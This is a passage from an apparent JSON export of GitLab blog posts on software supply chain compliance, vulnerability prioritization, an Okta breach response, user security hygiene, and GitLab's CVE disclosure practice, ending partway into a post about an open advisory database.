Compliance","en-us/blog/ensuring-compliance.yml","en-us/blog/ensuring-compliance",{"_path":3485,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3486,"content":3491,"config":3496,"_id":3498,"_type":16,"title":3499,"_source":17,"_file":3500,"_stem":3501,"_extension":20},"/en-us/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab",{"title":3487,"description":3488,"ogTitle":3487,"ogDescription":3488,"noIndex":6,"ogImage":3014,"ogUrl":3489,"ogSiteName":767,"ogType":768,"canonicalUrls":3489,"schema":3490},"Comply with NIST's secure software supply chain framework with GitLab","The U.S. government's Secure Software Development Framework has four key practices. GitLab's DevOps platform has features to address them all.","https://about.gitlab.com/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comply with NIST's secure software supply chain framework with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-03-29\",\n      }",{"title":3487,"description":3488,"authors":3492,"heroImage":3014,"date":3493,"body":3494,"category":14,"tags":3495},[3019],"2022-03-29","\nThe U.S. government, in March, released an update to its framework to secure agencies’ software supply chains, which are under [increasing risk of attack](https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/21/statement-by-president-biden-on-our-nations-cybersecurity/). The National Institute of Standards and Technology (NIST) unveiled the Secure Software Development Framework (SSDF) 1.1, which calls for tighter controls throughout the software development lifecycle and describes a set of best practices for organizations – and their third-party suppliers – to follow.\n\nThe [SSDF](https://csrc.nist.gov/News/2022/nist-publishes-sp-800-218-ssdf-v11) focuses on how organizations can protect software supply chains, regardless of technology, platform, programming language, or operating environment, in large part by introducing security early in the DevOps process. There are four key practices:\n\n- prepare the organization\n\n- protect software (all components of the software should be safe from tampering and unauthorized access)\n\n- produce well-secured software (with minimal security vulnerabilities in its releases)\n\n- respond to vulnerabilities\n\n“The goal of the SSDF, in my opinion, is to bring all agencies and their suppliers to the same place in terms of secure software development,” says Joel Krooswyk, senior manager of Solutions Architecture at GitLab. “The framework gets everyone on the same page and speaking the same language, which will inevitably help them to be more effective against whatever threats may come.”\n\nWhile some agencies, such as the Department of Defense and Central Intelligence Agency, might be more sophisticated in the security and compliance of their software supply chains, other public sector organizations are less advanced, using a raft of ad-hoc legacy applications to manually handle vulnerabilities.\n\nThe SSDF undoubtedly will drive all government agencies to direct resources – human and technological – toward [automating supply chain security](/blog/gitlab-supply-chain-security/). To ensure that they meet the measure of the framework without overburdening their teams and budgets, organizations should consider deploying GitLab, a single DevOps platform that has security built in early in the development lifecycle, end-to-end, and with maximum visibility. \n\nHere’s how GitLab addresses the specific practices within the SSDF:\n\n**1. Prepare the organization**\n\nGitLab helps organizations ensure that their people, processes, and technology are prepared to perform security software development, in line with SSDF best practices.\n\nThe GitLab DevOps platform features:\n\n- Strong [policy management](https://docs.gitlab.com/ee/administration/compliance.html) and role-based permissions models with LDAP, single sign-on, and multifactor authentication support\n\n- [Sophisticated security dashboards](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) with severity and trends to provide all stakeholders visibility and observability into the software development lifecycle \n\n- Scaled agile process support, which is enabled through epics and issues and other documentation, making for a completely auditable environment\n\n- Simplified implementation of a zero-trust security framework with the DevOps platform\n\n**2. Protect the software**\n\nThe SSDF guides organizations to protect all components of their software from tampering and unauthorized access.\n\nGitLab helps organizations accomplish this through the use of:\n\n- [source code management](https://about.gitlab.com/solutions/source-code-management/)\n\n- commit signatures\n\n- code reviews\n\n- [Hardened containers](/press/releases/2020-07-01-gitlab-announces-hardened-container-image-in-support-of-the-us-department-of-defense-enterprise-devsecops-initiative/)\n\n- role-based, read-only controls\n\n- [Merge-request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) \n\n- [Software Bill of Materials (SBOM)](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#cyclonedx-software-bill-of-materials) data per release\n\n- security scanning in [offline environments](https://docs.gitlab.com/ee/user/application_security/offline_deployments/)\n\n**3. Produce well-secured software**\n\nAccording to the SSDF, organizations should produce well-secured software with minimal security vulnerabilities in its releases.\n\nThe GitLab DevOps platform is purpose-built for this best practice and includes:\n\n- credential management\n\n- code reviews and approvals\n\n- centralized mitigation with vulnerability reports\n\n- [security scanning](https://docs.gitlab.com/ee/user/application_security/) (DAST, SAST, fuzz testing, secret detection, and more) that is integrated into the developer workflow\n\n- [continuous compliance](/solutions/compliance/) enforcement capabilities that enable organizations to tailor their pipeline reviews and security scans to all their applicable compliance mandates\n\n- the ability to find and fix vulnerabilities early on in development without building complex integrations\n\n**4. Respond to vulnerabilities**\n\nThe SSDF wants organizations to be able to identify residual vulnerabilities in their software releases and respond appropriately to address those vulnerabilities and prevent similar ones from occurring in the future.\n\nGitLab enables organizations to find and fix vulnerabilities early in the development process. The GitLab DevOps platform also features:\n\n- automatic updates for the Common Vulnerabilities and Exposures (CVE) database\n\n- the ability to contribute/disclose vulnerabilities directly via GitLab\n\n- [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) best practice scanning\n\n- status, severity, and related activity exposed on the [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) page\n\n- integrated learning tools to learn about found vulnerabilities in real-time\n\n- on-demand scanning to look for new vulnerabilities in existing code\n\nUsing GitLab's DevOps platform, government agencies, and their suppliers, can apply the best practices set forth in the SSDF and ensure the software supply chain meets the requirements of other mandates through [continuous compliance](/solutions/compliance/).\n\n[Try GitLab Ultimate for free](/solutions/public-sector/)\n",[776,479,14,184],{"slug":3497,"featured":6,"template":677},"comply-with-nist-secure-supply-chain-framework-with-gitlab","content:en-us:blog:comply-with-nist-secure-supply-chain-framework-with-gitlab.yml","Comply With Nist Secure Supply Chain Framework With Gitlab","en-us/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab.yml","en-us/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab",{"_path":3503,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3504,"content":3509,"config":3516,"_id":3518,"_type":16,"title":3519,"_source":17,"_file":3520,"_stem":3521,"_extension":20},"/en-us/blog/gitlab-rezilion-integration-reduces-vulnerability-backlog-identifies-exploitable-risks-to-fix",{"title":3505,"description":3506,"ogTitle":3505,"ogDescription":3506,"noIndex":6,"ogImage":3055,"ogUrl":3507,"ogSiteName":767,"ogType":768,"canonicalUrls":3507,"schema":3508},"Reducing vulnerability backlog with Rezilion and GitLab","The native integration helps developers detect and remediate vulnerabilities that are exploitable early on in the development process.","https://about.gitlab.com/blog/gitlab-rezilion-integration-reduces-vulnerability-backlog-identifies-exploitable-risks-to-fix","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab's integration with Rezilion reduces vulnerability backlog and identifies exploitable risks\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Baksheesh Singh Ghuman\"}],\n        \"datePublished\": \"2022-03-23\",\n      }",{"title":3510,"description":3506,"authors":3511,"heroImage":3055,"date":3513,"body":3514,"category":14,"tags":3515},"How GitLab's integration with Rezilion reduces vulnerability backlog and identifies exploitable risks",[3512],"Baksheesh Singh Ghuman","2022-03-23","\n\nRezilion and GitLab are partnering on an integration that will help resolve the longstanding tension between developers and security teams in organizations around the world. DevOps wants to write code and push new products to innovate and stay competitive. Security teams want to ensure applications are secure and unexploitable so that their organizations stay safe. These two desires often collide as DevOps wants to keep moving and security is seen as a bottleneck to their progress.\n\nTo help developers detect and remediate vulnerabilities early on in the development process and release products quickly and securely, Rezilion’s DevSecOps technology is now natively integrated with GitLab CI.\n\nSome of the key use benefits of this integration are the ability to:\n\n- [Reduce vulnerability backlog by up to 70%](https://www.rezilion.com/wp-content/uploads/2019/11/Rezilion-CARTA-Runtime-Vuln-Memory-Analysis-Report.pdf) and reduce patching efforts by identifying unexploitable vulnerabilities so that developers can fix what matters most and not waste time. \n\n- Prioritize what matters most in your environment to help save developers time and deliver better products faster.\n\n- Remediate significantly faster by integrating Rezilion's capabilities directly into the GitLab development workflow. This allows you to address real threats in a timely manner.\n\n- Gain actionable insights within the GitLab CI pipeline. Non-exploitable vulnerabilities are marked as “false positives” and can be dismissed, while issues can be easily assigned to fix the exploitable ones.\n\n- Identify software components with a dynamic Software Bill of Materials (SBOM), including open source components and their loaded/unloaded status for quick risk view.\n\n- Shift security left by validating vulnerabilities early in the process (right after the build, in the CI pipeline itself as part of tests that are running there). \n\nResults are available within the GitLab Security Dashboard and Vulnerability Management for use within the CI pipeline, at the project level, and across groups of projects.\n\n## Too many vulnerabilities, not enough focus\n\nA growing vulnerability backlog coupled with a lack of clarity on which vulnerabilities to fix – and when – can lead to a range of challenges, including:\n\n- Wasting developers' time\n- Delaying time to market\n- Increasing the likelihood of exploitation due to long remediation timelines\n\nA large vulnerability backlog takes up too much time. Remediating everything is not always realistic, practical, or secure. That’s why Rezilion’s native integration with GitLab CI allows teams to focus on fixing what matters most.\n\n## Enhanced runtime validation to fix what is exploitable \n\nBy integrating Rezilion’s capabilities into GitLab CI, developers now have a more complete and convenient security solution to restore focus on innovation. \n\nUsing Rezilion’s enhanced runtime validation, customers save time by scanning for vulnerabilities, filtering out scan results that do not pose a risk, building efficient remediation plans, and continuing to focus on seamlessly innovating software.\n\nCustomers can also easily visualize what software components are present in their environment – which are loaded to memory and therefore exploitable – by accessing their dynamic SBOM directly from the GitLab UI platform.\n\n\n![Rezilion Enhanced Vulnerability Validation funnel](https://about.gitlab.com/images/blogimages/rezilionfigure1.png){: .shadow}\n\nFigure 1: Enhanced Vulnerability Validation helps you focus on and fix what matters most\n{: .note.text-center}\n\n\n\n![Vulnerability report](https://about.gitlab.com/images/blogimages/rezilionfigure2.png){: .shadow}\n\nFigure 2: The vulnerability report shows a list of vulnerabilities in your pipeline and marks the false positives. Additionally, each row shows when it was detected, its status, severity, and details.\n{: .note.text-center}\n\nWe believe this integration will be very impactful for CISOs, product security team members, and developers who need to focus on innovating and product delivery, without delays due to a vulnerability backlog and cumbersome remediation timelines.\n\nCheckout this video to see Rezilion's GitLab integration in action:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/FXPwn7h8sBc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nGet started today with a free 30-day trial of both \u003Ca href=\"/free-trial/\" data-ga-name=\"free trial\" data-ga-location=\"blog inline\">GitLab Ultimate\u003C/a> and [Rezilion](https://www.rezilion.com/sign-up-for-30day-free-trial/) to experience more efficient software vulnerability management.\n\n\n\n",[14,776,231,798],{"slug":3517,"featured":6,"template":677},"gitlab-rezilion-integration-reduces-vulnerability-backlog-identifies-exploitable-risks-to-fix","content:en-us:blog:gitlab-rezilion-integration-reduces-vulnerability-backlog-identifies-exploitable-risks-to-fix.yml","Gitlab Rezilion Integration Reduces Vulnerability Backlog Identifies Exploitable Risks To Fix","en-us/blog/gitlab-rezilion-integration-reduces-vulnerability-backlog-identifies-exploitable-risks-to-fix.yml","en-us/blog/gitlab-rezilion-integration-reduces-vulnerability-backlog-identifies-exploitable-risks-to-fix",{"_path":3523,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3524,"content":3529,"config":3534,"_id":3536,"_type":16,"title":3537,"_source":17,"_file":3538,"_stem":3539,"_extension":20},"/en-us/blog/action-weve-taken-in-response-to-potential-okta-breach",{"title":3525,"description":3526,"ogTitle":3525,"ogDescription":3526,"noIndex":6,"ogImage":3429,"ogUrl":3527,"ogSiteName":767,"ogType":768,"canonicalUrls":3527,"schema":3528},"Action we've taken in response to a potential Okta breach","Actions we've taken to investigate a potential Okta breach.","https://about.gitlab.com/blog/action-weve-taken-in-response-to-potential-okta-breach","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Action we've taken in response to a potential Okta breach\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-03-22\",\n      }",{"title":3525,"description":3526,"authors":3530,"heroImage":3429,"date":3531,"body":3532,"category":14,"tags":3533},[3435],"2022-03-22","\n\nThe GitLab Security team is investigating and monitoring the situation surrounding a [possible breach on the Okta platform](https://sec.okta.com/articles/2022/03/official-okta-statement-lapsus-claims) to determine if there are any potential security issues that could have impacted GitLab or our users. **At this time, no malicious activity, exploitation, or indicators of compromise have been identified on GitLab.com.**\n\n## How GitLab uses Okta\nGitLab uses Okta as a [single-sign-on solution for access to various SaaS applications](/handbook/business-technology/okta/#how-is-gitlab-using-okta).\n\n## Actions we have taken\n* We’ve examined our logs, including our Okta logs to verify there has been no malicious activity.\n* We’ve been in contact with Okta and our industry peers to fully understand Okta’s potential breach and the potential impact to GitLab.\n* We’ve developed multiple contingency plans to thwart any potential attack scenarios and help protect GitLab and our users.\n* Out of an abundance of caution we are evaluating additional widespread safeguard measures to further protect our team members’ sensitive credentials.\n\n## Actions recommended for Customers (GitLab.com and Self-Managed)\n* If you use Okta to access your GitLab account, we recommend that you review your Okta logs for suspicious activity and contact Okta support to determine if there are any additional actions you should take with respect to your specific Okta implementation.\n* If you have not already done so, you should add multi-factor authentication (MFA) to your GitLab account.  We recommend enabling MFA on all systems wherever possible. In fact, if given the choice we recommend [U2F](https://en.wikipedia.org/wiki/Universal_2nd_Factor). Learn [how to set up U2F with GitLab](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html#set-up-a-u2f-device).\n* Review our [“Security hygiene best practices for GitLab users”](/blog/security-hygiene-best-practices-for-gitlab-users/) blog post which details simple but effective security practices that GitLab users should consider implementing to add additional layers of protection for themselves and help reduce risk for their organizations. \n\nOur teams are continuing to investigate this situation for possible security issues that may impact our product and customers. If we discover that either our product or customers are at risk, we will update this blog post and notify users via a GitLab security alert. \n\nUsers can sign up to receive security alerts and notifications via email on our [Contact Us page](/company/contact/). If you've got a security question or concern, review [how to contact our Support team](/support/#contact-support).\n",[14],{"slug":3535,"featured":6,"template":677},"action-weve-taken-in-response-to-potential-okta-breach","content:en-us:blog:action-weve-taken-in-response-to-potential-okta-breach.yml","Action Weve Taken In Response To Potential Okta Breach","en-us/blog/action-weve-taken-in-response-to-potential-okta-breach.yml","en-us/blog/action-weve-taken-in-response-to-potential-okta-breach",{"_path":3541,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3542,"content":3547,"config":3553,"_id":3555,"_type":16,"title":3556,"_source":17,"_file":3557,"_stem":3558,"_extension":20},"/en-us/blog/security-hygiene-best-practices-for-gitlab-users",{"title":3543,"description":3544,"ogTitle":3543,"ogDescription":3544,"noIndex":6,"ogImage":3429,"ogUrl":3545,"ogSiteName":767,"ogType":768,"canonicalUrls":3545,"schema":3546},"Security hygiene best practices for GitLab users","Security hygiene measures that GitLab.com and Self-managed users should consider implementing.","https://about.gitlab.com/blog/security-hygiene-best-practices-for-gitlab-users","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Security hygiene best practices for GitLab users\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Johnathan Hunt\"}],\n        \"datePublished\": \"2022-03-21\",\n      }",{"title":3543,"description":3544,"authors":3548,"heroImage":3429,"date":3550,"body":3551,"category":14,"tags":3552},[3549],"Johnathan Hunt","2022-03-21","\nIt's important to recognize that world events that cause global unrest and uncertainty can lead to an increase in cyberattacks. The GitLab Security department would like to remind our community of some suggested security hygiene measures that users should consider implementing to better protect themselves and reduce risk for their organizations, whether you are a GitLab.com or self-managed user.\n\nYou may have seen coverage of recent cyber attacks in the press focused on the theft of private source code repositories that demand a ransom to prevent their public disclosure. While specific details on how these attacks were successful are not publicly available, our experience and various threat intelligence activities tell us that credential spraying, phishing, malware, and even attempting to purchase insider access are the most likely tactics in use. \n\n* **Credential spraying** is when an attacker uses password lists paired with known username lists to try and brute force accounts. This relies on users making the mistake of reusing passwords or having easily guessed ones. \n\n* **Phishing** is something you are probably very familiar with. It is an attempt to trick someone into taking an action that benefits the attacker in some way. Typically a phishing attempt is designed to capture credentials. A good example of what a phishing attack looks like can be found in [one of our Red Team operations](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/red-team-tech-notes/-/tree/master/RT-011%20-%20Phishing%20Campaign).\n\nFollowing some simple security hygiene tips can go a long way to help defend you and your organization from these types of attacks:\n\n* **Enable multi-factor authentication (MFA).** Make sure your GitLab accounts require MFA to access. Enable it on everything you can. MFA makes gaining access to accounts more difficult and decreases the chances of a successful attack. You can check out the [GitLab documentation on enabling MFA](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) for how to do this on your account. \n\n* **Patch!** If you are a self-managed GitLab user, make sure you are running the most recent version. You can read about each [release in a corresponding blog post](/releases/categories/releases/), including security releases, and visit our [Updates page](/update/) to update your instances. To get security release blog notifications delivered to your inbox, visit our [contact us page](/company/contact/). To receive release notifications via RSS, subscribe to our [security release RSS feed](/security-releases.xml) or our [RSS feed for all releases](/all-releases.xml). \n\n* **Secure your GitLab instance.** If you are an administrator of your own self-managed GitLab instance, check out our [secure configuration advice](/blog/gitlab-instance-security-best-practices/), and use [reference architectures](https://docs.gitlab.com/ee/administration/reference_architectures/) where possible.\n\n* **Patch some more!** Make sure your operating systems, mobile devices, apps, etc. are all up-to-date and patched as well.\n\n* **Use a password manager.** Use a password manager so you only need to come up with one strong password. This helps prevent password reuse and for most people is a secure enough way to handle good password practices. You can see the [GitLab password policy guidelines](/handbook/security/#gitlab-password-policy-guidelines) as a reference for how we guide our own GitLab team members.\n\n* **Think before clicking.** Be suspicious of any email that asks you to take action. Use your best judgment and check the basics (do you know the sender? are there typos in the message? if you hover over the link does the true destination match the url? etc.) to reasonably decide if you should click on a link or not. That advice is especially true if that link takes you to a page asking for authentication. See [how we advise our own GitLab team members to identify a basic phishing attack](/handbook/security/security-assurance/governance/phishing.html#how-to-identify-a-basic-phishing-attack).\n\n* **Use audit logs.** If you are running GitLab self-managed it is also a good time to ensure that you understand what audit logs are available to you and how to check them. For additional information check our documentation on how our [log system](https://docs.gitlab.com/ee/administration/logs/index.html) works and what [audit events](https://docs.gitlab.com/ee/administration/audit_events.html) are. \n\n     * GitLab.com SaaS customers can generate reports of various activities in their groups and projects by using the [audit events feature](https://docs.gitlab.com/ee/administration/audit_events.html). Our Support handbook provides a deeper dive into [what information we can (and cannot) provide](/handbook/support/workflows/log_requests.html#what-we-cannot-provide) if you contact Support for additional detail. If you'd like to see something else in the product, consider submitting a [feature request](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Feature%20proposal%20-%20detailed&issue[title]=Docs%20feedback%20-%20feature%20proposal:%20Write%20your%20title).  \n\nIf you're already doing everything above, fantastic! If we forgot something, please let us know. For reference, you can review our [security best practices for GitLab team members](/handbook/security/). If you've got a security question or concern, review [how to contact our Support team](/support/#contact-support). If you believe [you've discovered a vulnerability, see how to report it](/security/disclosure/#reporting-a-vulnerability-about-gitlab-or-gitlabcom). Lastly, to stay informed you can [sign-up to receive security alerts and notifications via email](/company/contact/).  \n\nThank you for working together with us to keep our community and GitLab safe and secure.\n",[14],{"slug":3554,"featured":6,"template":677},"security-hygiene-best-practices-for-gitlab-users","content:en-us:blog:security-hygiene-best-practices-for-gitlab-users.yml","Security Hygiene Best Practices For Gitlab Users","en-us/blog/security-hygiene-best-practices-for-gitlab-users.yml","en-us/blog/security-hygiene-best-practices-for-gitlab-users",{"_path":3560,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3561,"content":3566,"config":3571,"_id":3573,"_type":16,"title":3574,"_source":17,"_file":3575,"_stem":3576,"_extension":20},"/en-us/blog/how-gitlab-handles-security-bugs",{"title":3562,"description":3563,"ogTitle":3562,"ogDescription":3563,"noIndex":6,"ogImage":2975,"ogUrl":3564,"ogSiteName":767,"ogType":768,"canonicalUrls":3564,"schema":3565},"How GitLab handles security bugs (and why it matters)","Learn what makes our approach to handling and transparently disclosing security bugs unique.","https://about.gitlab.com/blog/how-gitlab-handles-security-bugs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab handles security bugs (and why it matters)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nick Malcolm\"}],\n        \"datePublished\": \"2022-02-17\",\n      }",{"title":3562,"description":3563,"authors":3567,"heroImage":2975,"date":3568,"body":3569,"category":14,"tags":3570},[2999],"2022-02-17","\n\nIn almost any kind of software, bugs and security vulnerabilities will be discovered over time. We do our best to proactively spot and fix bugs before and after release, but it’s the nature of humans crafting software that there will be things we miss. In this post, we’ll explore how GitLab handles security bugs and how **_the way_ we handle and publicly disclose bugs is unique and important to upholding our values,** and why customers should care. \n\n## Why do I even have to care?\n\nGitLab is [an open-core](/company/stewardship/) platform where businesses can choose to either sign up to GitLab.com, or self-host and self-manage a Community or Enterprise Edition. [Everyone can contribute](/company/mission/#mission), and that applies to identifying security bugs too! We have a vibrant community of researchers reporting security issues through our [HackerOne Bug Bounty Program](https://hackerone.com/gitlab), we can receive [responsible disclosure reports](/security/disclosure/), and of course we have dedicated [internal security teams](/handbook/security) working across an organization where [security is everyone’s responsibility](/handbook/engineering/workflow/#security-is-everyones-responsibility).\n\nWe follow [an established process](/handbook/security/#security-releases) to resolve security issues in a timely manner. Since we manage GitLab.com for our .com customers, when we release a security patch they are already protected and automatically using the latest version. However, self-managed customers are responsible for patching their own GitLab deployments. \n\nBecause GitLab is open-core, as soon as a security release is made public, anyone can explore the code and look at how we’ve addressed security issues. While this information can help security teams and ethical hackers spot and resolve similar vulnerabilities elsewhere, unethical hackers could use this knowledge to figure out how to attack unpatched instances. It’s important that self-managed customers are made aware of security issues and their severity, so that they can prioritize patching them in a timely manner. That’s where [Common Vulnerabilities and Exposures](https://cve.mitre.org/index.html) (CVEs) come in.  \n\nNote: You can receive security release notifications [via RSS](https://about.gitlab.com/security-releases.xml) or sign up to receive security release notifications delivered to your inbox by visiting our [contact us page](/company/contact/).\n{: .alert .alert-info .note}\n\n\n## CVwhatnows?\n\nCVEs are an industry standard way of disclosing security bugs. Each CVE is given a unique number, which is tied to a vendor (e.g. GitLab), a product (e.g. GitLab Enterprise Edition), a severity score, and vulnerability report. \n\nIf you take a look at the Releases section of our blog and find a Security Release ([here’s an example](/releases/2022/02/03/security-release-gitlab-14-7-1-released/)), you’ll see each vulnerability was assigned a CVE like CVE-2022-12345.  These CVEs get distributed across the industry to various web portals, security scanning products, and mailing lists, so that people know if they’re affected and need to update.\n\n### Where does the CVE score come from?\n\nEach CVE has a severity score, typically referenced by developers and organizations to understand how urgently they need to patch. With GitLab, this is simplified since **we recommend that self-managed administrators always apply the latest patches regardless of how severe (or not) the issues are.**\n\nThe score is created from a standard called the [Common Vulnerability Scoring System](https://en.wikipedia.org/wiki/Common_Vulnerability_Scoring_System) and is based on how likely it is for the attack to occur, and how impactful it would be if it did.\n\nSome examples:  \n* An attack is *less likely* if it needs to be exploited from a local network (hard to access), compared to one that can be exploited from the internet (almost everyone has access).\n* An attack is *less likely* if an administrator has to enable certain features first, or if a victim has to visit a certain page. \n* An attack is *less impactful* if the result is a little bit of information disclosure, compared to disclosing a highly-privileged access token.\n\nThere are many things to consider when setting a severity, so, at GitLab, we created our own web-based [CVSS Calculator](https://gitlab-com.gitlab.io/gl-security/appsec/cvss-calculator/). This helps us to be transparent and consistent in how we define and rate likelihood, impact, and severity. The CVE severity score influences how we prioritize remediation and how much money we award to bug bounty researchers.\n\n### But why does GitLab have so many CVEs?\n\nWe understand self-managed customers may ask why we have so many vulnerability disclosures, or even why they need to update their GitLab software for security releases so often? At GitLab, we value making information public by default and being transparent, [even when there are costs](https://handbook.gitlab.com/handbook/values/#transparency-is-most-valuable-if-you-continue-to-do-it-when-there-are-costs). \n\nIf we were not committed to transparency and only ran GitLab.com, we could patch vulnerabilities silently and not disclose anything. A number of SaaS platforms, both closed and open source, take that approach. At best, they might have a bullet point of “security fixes” in their release notes. For example, [take a look at the Hacktivity of other programmes on HackerOne](https://hackerone.com/directory/programs?offers_bounties=true&asset_type=SOURCE_CODE&order_direction=DESC&order_field=resolved_report_count) and see how regularly (or irregularly, in some cases 👀 ) full issues are publicly disclosed.\n\nWe assign a CVE to every vulnerability included in a GitLab release, no matter how small, and describe the vulnerability in each [security release blog post](/releases/categories/releases/). Our [HackerOne Hacktivity](https://hackerone.com/gitlab/hacktivity?type=team) page has public disclosures of issues which serve as good learning material for other researchers. And whether we disclose the HackerOne report or not, we aim to publicly disclose every security vulnerability’s [GitLab issue](https://gitlab.com/gitlab-org/gitlab/-/issues?sort=updated_desc&state=closed&label_name[]=security&label_name[]=type::bug&confidential=no) 30 days after a patch is released, no matter how serious. We even have automated bots that will remind the Application Security team in case any fall through the cracks in terms of being made public!\n\n\n![file name](https://about.gitlab.com/images/blogimages/GL-Security-bot.png){: .shadow.medium.center}\nAutomated GitLab SecurityBot.\n{: .note.text-center}\n\n\nWe bundle security patches up each month and release them around a week after our regular self-managed release (which [release on the 22nd of each month](/releases/)). In total, that’s at least 24 releases a year. In addition, patches, particularly for critical issues, can be released as needed without waiting for the monthly release. You can learn more in our [release and maintenance policy](https://docs.gitlab.com/ee/policy/maintenance.html). \n\n\n![file name](https://about.gitlab.com/images/blogimages/GL-H1-top5.png){: .shadow.medium.center}\nOur HackerOne bug bounty program offers competitive bounty awards, which draws creative and expert researchers from around the world, who help make our product more secure.\n{: .note.text-center}\n\n\n## Is there transparency in your supply chain?\n\nMost organizations rely on software providers to achieve their goals, whether they are online SaaS platforms or desktop and mobile apps. When a company you rely on has a security issue (whether they tell you about it or not), it can affect your organization and the data and processes you’ve entrusted to them. These are called “supply chain” risks. [SolarWinds](https://en.wikipedia.org/wiki/2020_United_States_federal_government_data_breach#SolarWinds_exploit_2), [Log4j](https://www.ncsc.gov.uk/blog-post/log4j-vulnerability-what-should-boards-be-asking), and [the Equifax hack](https://en.wikipedia.org/wiki/2017_Equifax_data_breach) are all very different examples of [supply chain risks](https://learn.gitlab.com/devsecops-aware/software-supply-chain-security-ebook) being realized and causing disruption or damage to organizations.\n\nIn your next conversations with companies in your supply chain, ask how they identify, remediate, and communicate their security fixes. Does the level of detail, transparency, and rigor shown in their security fix and disclosure processes give you confidence in having them in your supply chain? \n\nAt GitLab, we strive to deliver secure software, to reduce the number of issues that get released, and to be transparent when vulnerabilities are discovered. Have a question about our disclosure process that’s not answered in our [disclosure policy](/security/disclosure/)? Let us know in the comments below. You can also check out how we [assess and monitor third-party risk](/handbook/security/security-assurance/security-risk/third-party-risk-management.html). \n\nAs always, feel free to adopt and use our documentation in your own organization, and please add to or suggest improvements to our handbook and processes if you see them!\n\nCover image by [Aleks Dahlberg](https://unsplash.com/@aleksdahlberg) on [Unsplash](https://unsplash.com/photos/3cWA3U8xb5w)\n{: .note}\n",[14],{"slug":3572,"featured":6,"template":677},"how-gitlab-handles-security-bugs","content:en-us:blog:how-gitlab-handles-security-bugs.yml","How Gitlab Handles Security Bugs","en-us/blog/how-gitlab-handles-security-bugs.yml","en-us/blog/how-gitlab-handles-security-bugs",{"_path":3578,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3579,"content":3585,"config":3594,"_id":3596,"_type":16,"title":3597,"_source":17,"_file":3598,"_stem":3599,"_extension":20},"/en-us/blog/a-community-driven-advisory-database",{"title":3580,"description":3581,"ogTitle":3580,"ogDescription":3581,"noIndex":6,"ogImage":3582,"ogUrl":3583,"ogSiteName":767,"ogType":768,"canonicalUrls":3583,"schema":3584},"Community-driven advisory database for dependencies launched","The advisory data can be readily adopted, adapted, and exchanged. Learn more here.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668354/Blog/Hero%20Images/handshake.png","https://about.gitlab.com/blog/a-community-driven-advisory-database","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing a community-driven advisory database for third-party software dependencies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Art\"},{\"@type\":\"Person\",\"name\":\"Dinesh Bolkensteyn\"},{\"@type\":\"Person\",\"name\":\"Isaac Dawson\"},{\"@type\":\"Person\",\"name\":\"Julian Thome\"}],\n        \"datePublished\": \"2022-02-16\",\n      }",{"title":3586,"description":3581,"authors":3587,"heroImage":3582,"date":3591,"body":3592,"category":14,"tags":3593},"Introducing a community-driven advisory database for third-party software dependencies",[3588,3589,3590,1208],"Mark Art","Dinesh Bolkensteyn","Isaac Dawson","2022-02-16","\n\nGitLab provides a [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\nfeature that can automatically detect vulnerabilities in your software\ndependencies. Dependency Scanning covers various programming languages and\nrelies on the [GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db), that\nis\n[updated](https://gitlab.com/gitlab-org/security-products/gemnasium-db/activity)\non a periodic basis by the \n[Vulnerability Research](/handbook/engineering/development/sec/secure/vulnerability-research/)\nteam at GitLab. The GitLab Advisory Database covers security advisories in software packages that have a CVE identifier, as well as malicious packages marked as such by their ecosystem ([example](https://gitlab.com/gitlab-org/security-products/gemnasium-db/-/blob/master/npm/lodahs/CVE-2019-19771.yml)). The database is an essential part of\nthe Dependency Scanning feature, which is\n[available](https://about.gitlab.com/pricing/) in GitLab Ultimate self-managed\nand GitLab Ultimate SaaS.\n\nAs of recently, GitLab also provides a _free and open-source_ version of the\ndatabase, the [GitLab Advisory Database (Open Source Edition)](https://gitlab.com/gitlab-org/advisories-community), a time-delayed\n(+30 days) clone of the [GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db).\n\nIn the spirit 